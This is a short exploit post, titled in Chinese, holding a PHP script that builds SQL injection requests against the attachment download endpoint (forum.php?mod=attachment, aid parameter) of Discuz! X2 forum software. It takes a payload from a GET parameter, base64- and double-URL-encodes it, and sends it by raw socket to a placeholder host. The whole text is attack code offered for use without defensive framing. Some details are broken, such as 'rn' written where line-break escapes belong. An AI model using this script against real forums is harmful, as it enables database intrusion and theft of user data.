dz x2 注入点构造 exp

Exp：

global $tmp_expstr, $id;
$id=$_GET['id'];
//$_GET['$tmp_expstr'];
//$id=str_replace(" ","%20",$id);
//$id=str_replace("=","%3D",$id);

$tmp_expstr = $id;
//$tmp_expstr ="'";
//$id = $tmp_expstr;

 
function getData($host,$path,$expdata,$data){
global $host, $path, $tmp_expstr;
$host = "www.xxx.com";
 
$expdata = "/forum/forum.php?mod=attachment&findpost=ss&aid=".urlencode(urlencode(base64_encode($tmp_expstr)));
$data  = "GET $expdata HTTP/1.1rn";
$data .= "Host: $hostrn";
$data .= "Content-Type: application/x-www-form-urlencodedrn";
$data .= "Content-Length: ".strlen($expdata)."rn";
$data .= "Connection: Closernrn";
$data .= $expdata;
$fp = fsockopen($host, 80);
fputs($fp, $data);
$resp = '';
while ($fp && !feof($fp))
$resp .= fread($fp, 7);
return $resp;
} 
echo getData($host,$path,$expdata,$data);
?>